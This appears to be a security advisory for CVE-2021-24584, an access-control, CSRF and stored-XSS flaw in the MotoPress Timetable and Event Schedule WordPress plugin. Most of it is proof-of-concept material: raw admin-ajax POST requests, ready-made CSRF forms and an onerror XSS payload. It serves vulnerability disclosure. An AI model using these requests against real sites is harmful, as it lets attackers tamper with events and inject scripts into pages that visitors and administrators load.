Timetable and Event Schedule by MotoPress < 2.4.2 – Unauthorised Event TimeSlot Update | CVE 2021-24584

Description

The plugin does not have proper access control when updating a timeslot, allowing any user with the edit_posts capability (contributor+) to update arbitrary timeslot from any events. Furthermore, no CSRF check is in place as well, allowing such attack to be perform via CSRF against a logged in with such capability. In versions before 2.3.19, the lack of sanitisation and escaping in some of the fields, like the descritption could also lead to Stored XSS issues

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 191
Connection: close
Cookie: [author+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=AttackerDescription&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="AttackerDescription" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS in v < 2.3.19

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Connection: close
Cookie: [authpr+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=%3Cimg+src+onerror%3Dalert(%2FXSS%2F)%3E&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="<img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

XSS will be trigged in the frontend when viewing the event, and backend when editing it